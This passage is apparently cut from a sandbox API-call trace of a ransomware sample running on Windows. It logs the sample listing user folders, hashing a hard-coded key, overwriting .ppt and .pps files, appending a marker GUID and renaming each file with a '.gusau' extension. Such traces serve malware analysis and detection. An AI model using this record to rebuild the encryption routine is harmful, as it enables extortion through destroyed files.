HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.870] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.870] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0118.870] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.870] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.870] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0118.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0118.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.870] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.870] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.870] PathFindFileNameW (pszPath="") returned="" [0118.870] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.871] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.871] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0118.871] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0118.871] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0118.871] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.871] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.871] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0118.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0118.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.872] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.872] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.872] PathFindFileNameW (pszPath="") returned="" [0118.872] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.873] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.873] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0118.873] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0118.873] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0118.873] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0118.873] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.873] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.873] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.873] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\") returned="5T4sBt2\\" [0118.873] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\") returned="-cJIpQCkg1\\" [0118.873] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\") returned="gck8eKrR\\" [0118.873] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0118.873] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.874] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.874] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.874] PathFindFileNameW (pszPath="") returned="" [0118.874] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5acb1c90, ftCreationTime.dwHighDateTime=0x1d4c762, ftLastAccessTime.dwLowDateTime=0x5ccbdd70, ftLastAccessTime.dwHighDateTime=0x1d4c845, ftLastWriteTime.dwLowDateTime=0x5ccbdd70, ftLastWriteTime.dwHighDateTime=0x1d4c845, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.875] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5acb1c90, ftCreationTime.dwHighDateTime=0x1d4c762, ftLastAccessTime.dwLowDateTime=0x5ccbdd70, ftLastAccessTime.dwHighDateTime=0x1d4c845, ftLastWriteTime.dwLowDateTime=0x5ccbdd70, ftLastWriteTime.dwHighDateTime=0x1d4c845, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.875] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2334dc60, ftCreationTime.dwHighDateTime=0x1d4c6c9, ftLastAccessTime.dwLowDateTime=0x8057cc30, ftLastAccessTime.dwHighDateTime=0x1d4d37c, ftLastWriteTime.dwLowDateTime=0x8057cc30, ftLastWriteTime.dwHighDateTime=0x1d4d37c, nFileSizeHigh=0x0, nFileSizeLow=0x18b44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1Sx-VZ.ppt", cAlternateFileName="")) returned 1 [0118.875] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\1Sx-VZ.ppt") returned=".ppt" [0118.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\1Sx-VZ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\1sx-vz.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.876] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=101188) returned 1 [0118.876] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.878] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.878] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.880] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x18b44, lpOverlapped=0x0) returned 1 [0118.881] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.881] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.881] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.881] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.882] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.882] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.882] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.882] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.882] GetLastError () returned 0x0 [0118.882] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.882] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.883] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.883] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.883] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.883] CloseHandle (hObject=0x610) returned 1 [0118.884] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\1Sx-VZ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\1sx-vz.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\1Sx-VZ.ppt.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\1sx-vz.ppt.gusau")) returned 1 [0118.885] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.885] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.885] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.886] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6ab7a0, ftCreationTime.dwHighDateTime=0x1d4d2e1, ftLastAccessTime.dwLowDateTime=0x3ef2bd70, ftLastAccessTime.dwHighDateTime=0x1d4c578, ftLastWriteTime.dwLowDateTime=0x3ef2bd70, ftLastWriteTime.dwHighDateTime=0x1d4c578, nFileSizeHigh=0x0, nFileSizeLow=0x15201, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5ETH-YOt.pps", cAlternateFileName="")) returned 1 [0118.886] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.886] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.886] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.886] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\5ETH-YOt.pps") returned=".pps" [0118.886] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\5ETH-YOt.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\5eth-yot.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.887] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=86529) returned 1 [0118.887] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.889] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x151db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.889] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.890] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.890] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.890] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.890] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x15201, lpOverlapped=0x0) returned 1 [0118.891] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.891] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.891] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.891] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.891] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.892] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.892] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.892] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.892] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.892] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.893] GetLastError () returned 0x0 [0118.893] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.893] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.893] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.893] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x15200) returned 0x39f9f20 [0118.893] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.893] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.893] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x151fc, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x151fc, lpOverlapped=0x0) returned 1 [0118.894] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.894] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15201, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.894] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.894] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.894] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.894] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.894] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.894] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.894] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.894] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.894] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.894] CloseHandle (hObject=0x610) returned 1 [0118.896] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930420 [0118.896] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.896] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930420 | out: hHeap=0xd10000) returned 1 [0118.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\5ETH-YOt.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\5eth-yot.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\5ETH-YOt.pps.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\5eth-yot.pps.gusau")) returned 1 [0118.897] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.897] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.898] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.898] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5a94620, ftCreationTime.dwHighDateTime=0x1d4cfa0, ftLastAccessTime.dwLowDateTime=0xb7b84870, 